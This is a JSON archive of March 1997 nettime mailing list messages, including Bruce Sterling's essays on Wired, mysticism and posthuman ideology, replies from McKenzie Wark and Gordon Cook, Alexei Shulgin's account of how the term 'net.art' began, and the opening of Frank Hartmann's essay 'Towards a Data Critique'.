to\nget it smooth. And the right time, where people want to know these things.\n\nWonder if we not better start an analyses on the package of information.\nStyle of writing is the context of information, in the net as well as here\nin our magazine. (i am working for a musicmagazine called Soundlab -\nelectronic aspects of life -> http://www.techno.de/soundlab).\nAs soon as we get more pages, we want to integrate net..., yeah, what,\n...culture, this word again?. Don^t know yet.\n\nHave fun, cu perhaps somtimes, if you stopp by in Berlin, would be nice.\n\nMercedes Bunz\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00083",
                        "date": "Thu, 13 Mar 1997 21:16:28 +0100 (MET)",
                        "to": "Geert Lovink <geert {AT} xs4all.nl> (by way of pit {AT} contrib.de (Pit Schultz))",
                        "message-id": "v01510102af4e104937fe {AT} [194.163.202.10]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00083.html",
                        "content-type": "text/plai",
                        "author_name": "mercedes",
                        "subject": "Re: nettime: push wired?"
                    }
                ],
                "message-id": "199703120923.KAA11639 {AT} xs2.xs4all.nl",
                "date": "Wed, 12 Mar 1997 10:23:26 +0100 (MET)",
                "content-type": "text/plai"
            },
            {
                "content": "\n\nDear nettimers:\n\n   It's been very gratifying to follow the discussions of \nWIRED in the list.   While I'm not a WIRED staffer, I\nam on the WIRED masthead, and I am a virtual San Franciscan\nthanks to seven years on the WELL.  \n\n   Those who aren't familiar with the WELL may find its\ninternal practices odd.   WELL was a closed bulletin board system \nlong before it ever became a website, and its social practices \nhave been created over literal years of internal discussion.  The \nWELL is something like a tide pool, it's not exactly in the Net \nand  not exactly out of it; data flows in, but has a rather hard \ntime flowing out.  I didn't make the WELL's rules, but the rules \nhave made  the community, and if you want to play, it's de rigeur \nto respect their standards.\n\n       Every once in a while I see material on nettime which is of\nparticular relevance to WELLbeings, and since I'm not putting this\nmaterial to commercial use, I crosspost it.  I've been cross-\nposting nettime comments on WIRED -- not all of them, just the \nones I found of particular interest -- for almost a year now.  \n\n     I don't really see anything untoward in this practice.   \nAfter all, my \"Master List of Dead Media\" was also posted on \nnettime, and it was swiftly crossposted to other lists, and sites, \nall over the planet.  I'm still getting responses to that piece \nmonths later.   I was glad to have my nonprofit Dead Media Project \ngetting such gratifying publicity from a core demographic of net \nactivists.\n\n    Mark Stahlman's bizarre attacks on WIRED's so-called\n\"English Ideology\" have been so entertaining that it's well-nigh \nimpossible not to quote him.  Naturally when he bravely showed up \non the WELL in person, he was immediately subject to rough \nhandling by people who actually know the WIRED milieu at first-\nhand, and found it hard to believe that Mr Stahlman was serious.\n\n     For all I know, there may be people on the nettime list who\nseriously believe that a popular American magazine on contemporary \ncomputer culture  is a stalking-horse for a European-inspired \ncabal of  cyber-illuminati inspired by the sinister doctrines of \nH.G. Wells and bent on global domination.  Unfortunately, within \nthe WELL, Mr Stahlman has found little popular support for his \nthesis.  I can understand his distress, but I'm not in command of \nthe WELL audience and can't stop them from making up their own \nminds after reading his own words.   I rather imagine that people \non nettime who have closely studied Mr Stahlman's assertions have \nhad their own difficulties in this matter.\n\nMr Stahlman's copious remarks have inspired me to write an essay.  \nUnfortunately it's not directly relevant to his own statements, \nbut since he's referred in nettime to my essay as \"elegant back-\nto-back rants that have to be read to be believed,\" and has \nexpressed his cordial hope that I will cross-post them to nettime, \nI'm ready to oblige him.  \n\nUnfortunately I can't cross-post the comments of other WELLbeings, \nsince this would be a violation of WELL You-Own-Your-Own-Words \nnetiquette.   My essay loses some valuable context by being \nseparated from the thread of commentary by other WELLbeings such \nas ludlow, kk, rushkoff, markdery and neal, but I hope it will be \nof some use or amusement anyway.\n\nNote:  on the WELL, Mr Stahlman is known as \"newmedium {AT} well.com.\"\n\nBruce Sterling bruces {AT} well.com\n\n(text follows) \n\nTopic 200 [wired]:  Goofy Leftists Sniping at WIRED\n#759 of 796: Bruce Sterling (bruces)      Fri Mar  7 '97 (06:28)   \n125 lines\n\n\n This is a good topic.  It's forcing me to wax all magisterial and \npolitico-philosophical.  That's a dire occupational hazard for \nscience fiction writers, but even if you're of the stature of HG \nWells  (probably the only science fiction writer with serious \npretensions of being a Great Man), you're still not gonna get many \npeople willing to page through all of it.\n\n      Except for newmedium himself, clearly a guy of rockbound \npersonal self-esteem whom no mere argument will ever sway, it \nlooks like we're approaching a general consensus that his \"English \nideology\" is silly.  It is, and it always was.  It scarcely seems \npossible to demonstrate this any better than ludlow demonstrated \nit.  Certainly newmedium isn't the only guy in the world whose \nweltanschauung is dependent on gaseous, self-marginalizing verbal \nsleight-of-hand, and since I'm an SF writer by trade my tolerance \nfor this kind of activity is extremely high, but it's not the same \nthing as a reasoned argument with historical awareness and proper \ncitation.  If one is really trying to live and make political, \ntechnical and economic decisions through this kind of empty, \nglittering rant, one is just plain being goofy.\n\n      I have kindly and indulgent feelings towards cats like \nStahlman and Rushkoff, as opposed to my thorny relationship with a \nguy like Mark Dery, someone I can recognize as an actual, \nauthentic cultural critic.   Dery is probably wrong about a lot of \nstuff and may even be kind of dangerous, but compared to him \nStahlman and Rushkoff are like a couple of aluminized balloons in \nthe same corral with a cactus.  Life is funny that way.  It seems \nto me you could make much the same assessment about HG Wells or CS \nLewis and their roles in a thorny world of twentieth-century \nrealpolitik. You might even make a similar assessment about the \nonly 20th century science fiction writer who has actually seized \npower in a major government -- Newt Gingrich.\n\n     I don't think Wells and Lewis were particularly influential \npeople, even though this would be very flattering to me and mine \nwere such to be the case.   But I do want to discuss why it is \nthat I do prefer HG Wells to CS Lewis, and what relevance this \nmight have to the current, uhm, cyberculture situation.\n\n       First, this is not a literary judgement on my part.  I \nwould not make the category error of saying that CS Lewis was a \nbad writer merely because I don't like his theology.   I think \nWells was a very good writer, better than Lewis, especially when \nWells wasn't doing propaganda, but Lewis was also clearly a major \nwriter of fantastic fiction.  His fantasies are very engaging and \nhave many stellar moments of high imaginative concentration. Lewis \nclearly had a gift -- that's not under contention here.\n\n        The I Ching is great literature too, but if you start \ntossing hexagrams to govern your life-decisions because the \ndescriptions are so charmingly evocative, well, you've got a non-\nliterary problem.\n\n       When I wonder why it is that I prefer Wells to Lewis -- two \nminor-league combatants in what seems to me a very old struggle -- \nI think fondly of one memorable battle in this culture war.   It \nwas Wells's teacher, Thomas Henry Huxley, in public debate with a \nguy whom I take to be one of CS Lewis's spiritual ancestors, \nBishop \"Soapy Sam\"  Wilberforce.\n\n      What Huxley had on his side was a boatload of objective \nevidence that Charles Darwin  had painstakingly scraped up and \ncataloged over twenty years or so of obscure but dedicated \nresearch.   What Wilberforce had on his side was a glib tongue and \na deep, instinctive, passionate moral revulsion at the thought \nthat human beings were apes.\n\n     Huxley won the debate through an exchange of insults.  \nWilberforce snidely inquired whether Huxley felt that it was his \ngrandmother or grandfather who had been the  ape.  Huxley riposted \n(I'm paraphrasing from memory here, being several hundred miles \naway from my references) that he felt no shame in having an ape \nfor an ancestor, and would prefer that to being the descendant of \na man who would deliberately obscure the truth.\n\n     Huxley put his finger on it there.   There is something \ndeeply shameful about obscurantist mysticism.   Mysticism conjures \nup wonderful feelings within us that make us purportedly aware of \nthe full, marvelous, flattering scope of our numinous humanity, \nbut it's intellectually fraudulent.  Mysticism is a retreat, a \ncop-out, whether it's a retreat into the gospels, the noosphere, \nastrology,  the Tarot, the Bhagavad Gita, Aum Shinri Kyo armed \nyoga, Illuminatist conspiracy theory, or even some brand-new \namalgam of 'shrooms and cyberspace.     It's a cheat,  like rising \nwith a flourish to write your proof on the blackboard, getting off \nto a cracking good start, and then drawing us a large cloudy area \nlabelled \"miracles happen here.\"\n\n       I'm not under the illusion that scientists, psychologists \nor any other biped in a labcoat really understands deep \nontological reality or the  true nature of the universe.    What \nbugs me is the social practice of deliberately enshrining our \nignorance, anthropomorphizing it as a living divine being, and \ngiving it moral and ethical dominion over our lives and \nimaginations.\n\n       In practice, obscurantist mysticism is like the practice of\nembezzlement.   You can't get your budget to add up.  The \nbookkeeping rules are too hard and pernickety, and they probably \ndon't fit your personal situation anyway.  You're too weak and \nanxious to directly face the paralysing prospect of  genuine \nintellectual bankruptcy.  So, to keep the business going, you just \nborrow a few life-giving dollars out of the secret stack of the \nGreat Unknown.   You can always put it back later, right? Pascal's \nWager will win it back for you, maybe you can win it back at the \ntrack...    But embezzlers always say this.  They don't really \nreason, they rationalize.   And the convenience of free money rots \naway their integrity and destroys their judgement.  They almost \nalways take more and more.\n\n       Unfortunately, the \"miracles\" gambit also  expands in just \nthis way. Mystic revelation will grow to cover everything that is \nemotionally, politically or socially  repugnant to the believer.   \nThere are always excellent reasons to declare certain things \nunholy, unthinkable and not subject to question.  You mustn't look \nat this, you mustn't think that; such and such a thing is \nunnatural, it's blasphemous, it is the sin against the holy \nspirit, it what we were Not Meant to Know.  And why make painful \ndecisions about what to eat, how to dress, who to tug your \nforelock to? It's all divinely ordained.\n\n     For all I know, there may indeed be aspects of human behavior \nwhich are so unspeakably blasphemous and horrible that, like a \nLovecraft character, my mind might shatter into bicameral \nfragments from the awful impact of glimpsing them.  But I haven't \nseen any yet, and not from lack of looking around.    In practice, \nthis sort of blanket mental prohibition has generally turned out \nto be about harmless oddities such as worshipping idols, eating \npigs, anal sex, and speaking politely to black people.\n\n      So I think that what newmedium was demanding earlier is the \n1990s version of Soapy Sam's old question:  \"So:  is it your \ngrandson, or your granddaughter who's the hideous, shambling \nposthuman?  'Fess up!\"  And my  Huxleyan response would be that my \nshameless posthuman grandchildren might have a chance to do okay, \nif we can honestly examine the possibilities without his eerie \nbrand of obscurantist paranoia.\n\n\nTopic 200 [wired]:  Goofy Leftists Sniping at WIRED\n#760 of 796: Bruce Sterling (bruces)      Fri Mar  7 '97 (06:33)   \n122 lines\n\n\n      We now  (I hope you didn't think I was finished)  examine \nthe pressing topic of what kind of ideology might be suited to \nposthumans.\n\n      I see little promise in mysticism.  However.  While I'm not \nreligious, I can only concur with neal's earlier cogent remarks on \natheists having no better record.  Guys who get all hot and \nbothered about Christianity rarely fail to bring out its dismal \nrecord of antisemitism, Biblical justifications for slavery, and \ninquisitorial practices of the seventeenth century.    But let's \nface it:   if you're looking for the big-time practice of those \nevils in our own century, you can't find better candidates than \nrevolutionary leftist atheists.\n\n      The worst thing that could happen to you in the twentieth \ncentury was to have your society taken over in a leftist atheist \ncoup.   The Nazis, no great believers themselves, were more \nvirulent maybe, but the Nazis were so frankly megalomaniacal that \nthey could barely manage a dozen years in  power.\n\n         But Marxist-Leninist Stalinist Mao Zedong thought...   \nLet the record speak.   The movement's roots were in  scientific \nsocialism and the rational investigation of economics and history.   \nMarx was the kind of roly-poly bearded swot that any of us would \ninstantly recognize at a UNIX programmer's convention.  Wells was \njust one among legions of period radicals with scientific utopias \nin their back pocket.  He believed that rational political science \nwould simply sweep away the ills and unseemly quirks of human \nculture, in much the way that germ theory superceded pre-\nscientific notions like malaria, in the brisk and proper way that \nsanitation eliminates cholera.   But Wells was no democrat.  He \nwas too full of himself.   He cherished a deep, heartfelt contempt \nfor the feudal creeps, class snobs and rich bullies standing in \nthe manifest road of History. Like most pre-WW1 zealot reformers, \nWells had no idea of the havoc that totalizing one-size-fits-all \ndoctrines would create when their arrogant dictates contacted \nhuman political reality.\n\n       Consider the Russian Revolution.  Okay?  It's gone now, we \ncan talk about it honestly.   Atheist intellectuals with \nimpeccable backgrounds in the European radical press.   Started \noff in a horrible world war.  Lights go out all over Europe.  \nFratricidal civil wars follow.   Class liquidations.  Mass \nstarvation.  Nutty doomed efforts at collective agriculture -- \nit's the 'scientific' way to feed the masses, it makes great sense \non paper.  Mass deportations,  genocide of minorities  (hopelessly \nbackward, stupid, and in the way).  Abandonment of all pretense of \nrepresentative government  (why listen to backsliders?).   \nAbandonment of the rule of law, even their own laws and their own \nConstitution (too much trouble following tedious rules which will \nonly be exploited by bourgeois parasites and \"cosmopolitan\" \nlawyers).    Suspension, and then abolition of civil liberties.   \nArmies of secret police.   Pogroms against secret police by other \nfactions of secret police.  One of the most dangerous positions \nyou could possibly have in such societies was a loyal servant of \nthe state.\n\n       And   I was waxing indignant about Soapy Sam's rhetorical \nhijinks, so then let's talk about the intellectual crimes of \nRussian, atheist Marxism. Rampant forgery of historical documents.  \nCensorship on unheard-of scales. Celebrities rendered non-persons, \nfamous events rendered non-events.   The Lysenko fraud against \nbiological science  (Huxley's favorite field). Scientists put into \nlabor camps and still forced to do technological work behind \nbarbed wire.   A mania for classifying anything considered of any \nconceivable benefit to any imagined enemy, leading to \nstrangulation of the scientific process.  Writers and thinkers of \nall sorts and varieties browbeaten, silenced, purged.    Cultural \nand intellectual life reduced to totalitarian parody.   Party \nlines and personality cults exalted to unquestionable status....  \nit really goes on and on.\n\n      That's why I really don't fancy myself a prophet of \nhistorical destiny.  Yes, I'd feel really great, cocaine-high \ngreat, if I had a sudden ideological Answer to History.   History, \nthat chaotic, fractal, deeply irrational, painfully human, tragic, \nunpredictable-even-in-principle process.   A nightmare from which \nthe human mind loves to struggle to escape.   But I *don't* have \nany such answer, and the penalties of believing that I have one \nare just too high.\n\n         I'd be wrong.   And I'd end up having to defend my \nideology, and if I didn't, others more ruthless would.   And I \nmight be brilliant, and glib, and deeply convincing, but I'd still \nbe wrong, because predicting history is probably eighty orders of \nmagnitude harder than predicting the weather, a thing itself \nimpossible, no matter what Laplace thought back in the \nEnlightenment.\n\n      So, I'd be forced to disguise my intellectual failings with \nslippery rhetoric, appeals to faith, high-sounding catchphrases, \nand intimidation.  I'd have to school myself so that appeals to \nobjective reality no longer made a dent.   Skeptics and scoffers \nwould have to be discredited somehow -- as organized conspirators, \npresumably, bribed and corrupted to defy the truth.   Probably \nthey're all witting or unwitting disciples of some Satanic figure \n-- some Rosicrucian Machiavelli, a really obscure but nevertheless \nvaguely plausible guy, for instance, a bio-school dropout and \ntubercular journalist who became the greatest trend-spotter of his \nera.\n\n      So what's my idea of a worldview fit for posthumans?   It's \nnot religion and it's not a modernist master-plan.  I'm a \npostmodernist and a skeptic.   These are issues too complex to \nregulate which cannot be planned from a flat-footed start.\n\n      I kind of favor the Internet \"answer\" -- \"run code and rough \nconsensus.\"    You debug it as you go along.  You assume there \nwill be bugs, and you try not to call them \"features.\"  You let \nthe devil's advocates speak up, all of them, even the crazy ones, \neven the opinions you detest. You don't create systems with single \npoints of failure.  You allow diversity -- firewalls, different \nspeeds, differences of scale, you don't bet the farm on one super-\nmono-culture.    You never change the operating system before you \nback up the contents.   You *make* backups.   You check for \nviruses.  You assume the system is insecure.  You assume some \npeople mean the system harm, and can never be won over, and will \nnever, ever go away.\n\n      But wait -- I seem to have more principles than I thought I \ndid.  You don't attempt to change a  complex distributed system \nall at once.   You don't trust complicated systems unless they've \ngrown from tested simple systems.   You distrust theory, you don't \ninvest your ego in ideological declarations.  You distrust \nresults, too -- you replicate results and claims in other labs \nbefore you start howling with joy and passing out cigars. You \nbeta-test all the vaporware, and the shinier it is, the *more* you \ntest it.   You check out what's gone before (Aryan breeding \nexperiments, excellent case in point) lest someone justly flame \nyou as a clueless newbie.  And you never let authorities soft-soap \nyou into deploying sanctified encryption devices too wondrous and \nspecial for mere people to understand -- no matter what kind of \nhats they're wearing, how eloquent they are, or what kind of brass \nthey have.\n\n    Okay, I guess I'm done now. *8-)\n\nBruce Sterling bruces {AT} well.com\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "id": "00034",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00034.html",
                "list": "nettime_l",
                "author_name": "Bruce Sterling",
                "subject": "nettime: submission to nettime lis",
                "from": "Bruce Sterling <bruces {AT} well.com>",
                "follow-up": [
                    {
                        "from": "McKenzie Wark <mw35 {AT} is6.NYU.EDU>",
                        "id": "00035",
                        "content": "\n\nAs a former wellbeing myself, i can only vouch for the accuracy of\nthe way its been portrayed by Mssrs Sterling, Cisler etc. But one\ntiny point i would not like to slip by. The well may be a 'tide\npool' as Bruce says, but different rules apply to the tide flowing\nin and the tide flowing out. The policy on the latter, in many\nrespects a good one, is 'you own your own words'. People can't\ntake your stuff off the well and do just whatever they please with\nit without asking permission, etc. But i just want to pause here\nand consider the implications of this for the information barter\neconomy. And vary the metaphor a bit: the well feeds on things like\nnettime (in those rare moments when not feeding on itself), and\nyet the reciprocal bite is prohibited. Since its the well we're\ntalking about, i feel, well, kinda well disposed towards it. So\nits really neither here nor there. But consider this practice on\na wider scale. What kind of information economy is that? The well\nhas a whole thread in its archive where 'you own your own words'\nwas thrashed out, and it makes interesting reading. There has not\nto my knowledge been an 'other people outside the well own there\nwords too' thread. There is a strong element of me me me me me me \nme me me me me me me me etc in wellspring of the well, so perhaps\nthat's not surprising. But the wider question i want to ask is\nprecisely: what is my responsibility to the other? For Levinas,\nit was to *listen* to the other. But no one listens much on the\nwell, so perhaps one would have to start somewhere else. What do \ni owe to the other when i take her/his words? In what ways do\nacknowledge the other? etc. Behind this other, who in this case\nis the other people who's words i might take, stands the other\nof the net itself, to which perhaps one is ultimately responsible,\nmore than to any particular individual with whom one might have\na transaction. The other of the net itself stands behind the\nother person, but not behind me me me me me me me. Which to me\nis why the well never got very far on this stuff. \n\nAnd yes, of course anyone who wants to may cross-post this to the\nwell, but what if i ask you not to? \n\n\n______________________________________\nMcKenzie Wark  http://www.mcs.mq.edu.au/~mwark\nVisiting Professor, American Studies Program, New York University\n\"We no longer have origins we have terminals\"\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "date": "Sat, 8 Mar 1997 05:31:43 -0500 (EST)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "Pine.OSF.3.95.970308051018.29067A&#45;100000 {AT} is6.NYU.EDU",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00035.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "nettime: nettme: the tide pool with the toll booth"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "alexei shulgin <easylife {AT} hawk.glas.apc.org>",
                                "id": "00094",
                                "content": "\nI feel it's time now to give a light on the origin of the term -\n\"net.art\".\n\nActually, it's a readymade.\nIn December 1995 Vuk Cosic got a message, sent via anonymous mailer.\nBecause of incompatibility of software, the opened text appeared to be\npractically unreadable ascii abracadabra. The only fragment of it that\nmade any sense looked something like:\n\n[...] J8~g#|\\;Net. Art{-^s1 [...]\n\nVuk was very much amased and exited: the net itself gave him a name for\nactivity he was involved in! He immediately started to use this term.\nAfter few months he forwarded the mysterious message to Igor Markovic,\nwho managed to correctly decode it. The text appeared to be pretty\ncontroversal and vague manifesto in which it's author blamed traditional\nart institutions in all possible sins and declared freedom of\nself-expression and independence for an artist on the Internet.\nThe part of the text with above mentioned fragment so strangely\nconverted by Vuk's software was (quotation by memory):\n\"All this becomes possible only with emergence of the Net. Art as a\nnotion becomes obsolete...\", etc.\nSo, the text was not so much interesting. But the term it undirectly\nbrought to life was already in use by that time .\nSorry about future net.art historians - we don't have the manifesto any\nmore. It was lost with other precious data after tragic crash of Igor's\nhard disk last summer.\n\nI like this weird story very much, because it's a perfect illustration\nto the fact that the world we live in is much richer than all our ideas\nabout it.\n\n\nAlexei\n-- \n...............................\n.....moscow wwwart centre......\nhttp://sunsite.cs.msu.su/wwwart\n...............................\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                                "date": "Tue, 18 Mar 1997 01:05:08 +0300",
                                "to": "nettime-l {AT} Desk.nl",
                                "message-id": "332DC013.5BD1 {AT} pop.glas.apc.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00094.html",
                                "content-type": "text/plai",
                                "author_name": "alexei shulgin",
                                "subject": "nettime: Net.Art - the origin"
                            }
                        ],
                        "from": "Gordon Cook <cook {AT} netaxs.com>",
                        "content": "\nBruce Sterling writes:\n\n     For all I know, there may be people on the nettime list who\nseriously believe that a popular American magazine on contemporary\ncomputer culture  is a stalking-horse for a European-inspired\ncabal of  cyber-illuminati inspired by the sinister doctrines of\nH.G. Wells and bent on global domination.\n\nCook:  anyone who has observed Mark stahlman's commentary online over a\nperiod of some months will realize, that the above summary is a gross\nsimplification that is also colored in such a way as to get the reader to\ndismiss the subject with no further thought.\n\nI don't claim to be expert in the history of ideas.  however 25 years ago\nin my dissertation, I did explore the origins of P.Ia. Chaadaev's critique\nof Russian culture.\n\nMark is doing something similar but vastly more complex -- namely trying\nto develop a cohesive and rather complete intellectual history of the\nadvocates of technology during the twentieth century....not a small task\nbut one with fascinating relationships, roots and alliances.\n\nWired has never risen above gosh, golly gee wiz snapshots of some of the\nplayers....Big picture views of the \"global economy\" by the likes of\nkorten and greider are terribly important.  Big picture overviews of the \nintellectual roots of  our current situation are just as important. I am\nfascinated by the tapestry that Mark is weaving.  of course I am biased.\nI let my wired subscription lapse a year ago.\n \n***********************************************************************\nThe COOK Report on Internet               For subsc. pricing & more than\n431 Greenway Ave, Ewing, NJ 08618 USA     ten megabytes of free material\n(609) 882-2572 (phone & fax)              visit   http://pobox.com/cook/\nInternet: cook {AT} cookreport.com             For NEW study: EVOLVING INTER-\nNET INFRASTRUCTURE, 222 page Handbook http://pobox.com/cook/evolving.html\n************************************************************************\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00036",
                        "date": "Sat, 8 Mar 1997 10:54:23 -0500 (EST)",
                        "to": "Bruce Sterling <bruces {AT} well.com>",
                        "message-id": "Pine.SUN.3.95.970308103406.11504C&#45;100000 {AT} unix1.netaxs.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00036.html",
                        "content-type": "text/plai",
                        "author_name": "Gordon Cook",
                        "subject": "Re: nettime: submission to nettime lis"
                    },
                    {
                        "from": "alexei shulgin <easylife {AT} hawk.glas.apc.org>",
                        "id": "00094",
                        "content": "\nI feel it's time now to give a light on the origin of the term -\n\"net.art\".\n\nActually, it's a readymade.\nIn December 1995 Vuk Cosic got a message, sent via anonymous mailer.\nBecause of incompatibility of software, the opened text appeared to be\npractically unreadable ascii abracadabra. The only fragment of it that\nmade any sense looked something like:\n\n[...] J8~g#|\\;Net. Art{-^s1 [...]\n\nVuk was very much amased and exited: the net itself gave him a name for\nactivity he was involved in! He immediately started to use this term.\nAfter few months he forwarded the mysterious message to Igor Markovic,\nwho managed to correctly decode it. The text appeared to be pretty\ncontroversal and vague manifesto in which it's author blamed traditional\nart institutions in all possible sins and declared freedom of\nself-expression and independence for an artist on the Internet.\nThe part of the text with above mentioned fragment so strangely\nconverted by Vuk's software was (quotation by memory):\n\"All this becomes possible only with emergence of the Net. Art as a\nnotion becomes obsolete...\", etc.\nSo, the text was not so much interesting. But the term it undirectly\nbrought to life was already in use by that time .\nSorry about future net.art historians - we don't have the manifesto any\nmore. It was lost with other precious data after tragic crash of Igor's\nhard disk last summer.\n\nI like this weird story very much, because it's a perfect illustration\nto the fact that the world we live in is much richer than all our ideas\nabout it.\n\n\nAlexei\n-- \n...............................\n.....moscow wwwart centre......\nhttp://sunsite.cs.msu.su/wwwart\n...............................\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "date": "Tue, 18 Mar 1997 01:05:08 +0300",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "332DC013.5BD1 {AT} pop.glas.apc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00094.html",
                        "content-type": "text/plai",
                        "author_name": "alexei shulgin",
                        "subject": "nettime: Net.Art - the origin"
                    }
                ],
                "message-id": "199703080958.BAA15504 {AT} well.com",
                "date": "Sat, 8 Mar 1997 01:58:16 -0800 (PST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "hartmann {AT} fsf.adis.at (Frank Hartmann)",
                "id": "00060",
                "content": "\n[this is one of the first texts for the zkp5/nettime bible which came in.\nplease send us your texts, drafts and suggestions to: nettime {AT} desk.nl]\n\nTOWARDS A DATA CRITIQUE\n\nFrank Hartmann\n\n     \"Data is the anti-virus of meaning\"\n           --Arthur Kroker\n\n     \"There is no information, only transformation\"\n           --Bruno Latour\n\n\nThe digital datasphere affects all major aspects of cultural production.\nIs there still a task for critique in this process, aside from cheap\nfalsifications of the techno hype, or from simply articulating fear? What\ncould be the task for a data-critique then, which could succeed to reveal\nthe hidden agenda of the proclaimed 'information society'? \n\nAfter critique\n\nAccording to some commonsense view, we have already entered an era beyond\nenlightenment and critique: the new media reality creates a symbolic\ntotality, an inclusive environment--a perspective from which any critical\ndiscourse seems an irresponsibility of sorts. With this new media reality,\nthe level of theory and of its object becomes undistinguishable, and what\nwe need therefore to grasp cyberspace is not a critique of ideology but a\nmore systematic description of media, an analysis of its infrastructure,\nand an archaeology of the apparatus. This positive view now aligns\nintellectuals as well as activists and artists under the efforts of\ntechnology. \n\nCritique is negative indeed, and that firstly means it is all about\nlimitations. While net-criticism as an activity indicates the limits of\nthe Internet with all its disappointed hopes from the 60ies ideology,\ndata-critique deals with the philosophical and social assessments of\ndigital technology. Necessarily invoking some spirit for the enlightenment\nwhich became unpopular after the recent 'death of the subject', the\naspects of data-critique are reaching beyond any single-handed notion of\nprogress within the inclusive form of new media. \n\nPhilosophers, within their academic discipline, fall short to grasp the\nmeaning of new information and communication technology, as they keep to\nthe beaten track of reading, interpreting and redistributing texts within\ntheir classical frame of reference. The academic community, at least the\nhumanities, still largely depends on the gratifications of the paper\nmedium, and that means on traditional 'print-publishing' through\n'publishers'. To be media literate otherwise, they consider none of their\nbusiness. There are several reasons for that ignorance. A quite profane\none is 'fear of the machine', which can take on very sophisticated forms:\nfrom straight neo-luddism to a moralistic, protestant information-ecology\nwith its apotheosis of the pen and the typewriter. These positions for\none, seem to make clear - insisting on their professional identity, the\nso-called humanities tend to exclude any non-humanist discourse in favour\nof their quest for autonomous 'subjects' and their hermeneutic priviledge\nof 'making sense'. But there is no way in falling for a Heideggerian\npromise which supposes to reveal an order of things that still could go\nundisturbed beyond any stirring by 'media'. There is no such tranquility\nof being once after 'care' has crossed the river for good.(1)\n\nGlobal Information Economy in Different Worlds\n\nA range of sociological questions supersede the technological ones. With\nthe new information and communication technologies [ICT], the end of this\ncentury provides the first world with a thorough and disorientating crisis\nconcerning the role of work, education and entertainment. The reason for\nthis is a postmodern condition at one hand, a global marketing strategy\nfor these technologies on the other. When in 1995 the National Science\nFoundation's funds for the Internet backbone structure in the USA finally\nran out, new sponsorship was due from somewhere. By going international\nand also by leaving academic boundaries behind, the providers of the 'net'\nfound their new strategy for economic survival. An American concept was\nready to become \"the boom to humankind [that] would be beyond measure\",\npulling everybody into \"an infinite crescendo of on-line interactive\ndebugging\".(2) While some 96% of the first and 99% of the rest world\npopulation is not online--the information highway has no turnoff to their\nhouse and home and maybe will never have--the electronic commerce is\nexploding and the emerging Virtual Class takes their advantage of the bit\nbusiness, \"the production, transformation, distribution, and consumption\nof digital information\".(3)\n\nAnd again, what are we referring to? For the society in transition, the\ncomplex social and cultural matrix of change is not properly known; in the\npresent discourse, cyberspace as the emerging social space is perceived\nmerely by technological metaphors and a market-driven development of the\nbroadband ICT infrastructure. Especially in Europe, yet not without a\nparticular reason: the European ICT-market currently ranges at a total\nvalue of ECU 300 billion, and sees an average national per capita\ninvestment in Western Europe of approximately ECU 350.(4) While Internet\naccess still is between 10 and 100 times more expensive in Europe than in\nthe USA(5), the European Commission's propaganda sees Europe as the coming\nheartland of electronic commerce, pushed by those investments and numerous\nICT-policy action plans.(6)\n\nNew media and the prophecy of an information society are little more than\nthe figleaf of a failed transition of modernity towards a more social\nsociety. Judging from various programmatic papers, the social impact of\nthe broadband media applications are very modest. In the so-called\nBangemann-report(7) people in the end only exist as the representation of\nsolid markets under the command of an ideology of total competition within\nthe first world(s). With this \"new techno-utopia of the emerging global\nmarket capitalism\" (Group of Lisbon) the sole principles of market\nliberalisation, deregulation and privatisation are applied.(8) In\nconsequence, the recommendations and the proposals of the Bangemann paper\nseem to serve more to the benefit of the attending companies in this\nExpert Group themselves. \n\nThe lack of proper understanding for a new information economy beyond\ncompetition also derives from an uncertainty or even a crisis of the\nintellectual position and the role of theory within it. The bit business\ndoes not need a media theory. The same goes for the new \"Virtual Class\",\nthat social segment which--according to Arthur Kroker's observation(9)--\nbenefits most from the virtualization, and which defends information\nagainst any contextualization, with its goal of a total \"cultural\naccommodation to technotopia\"  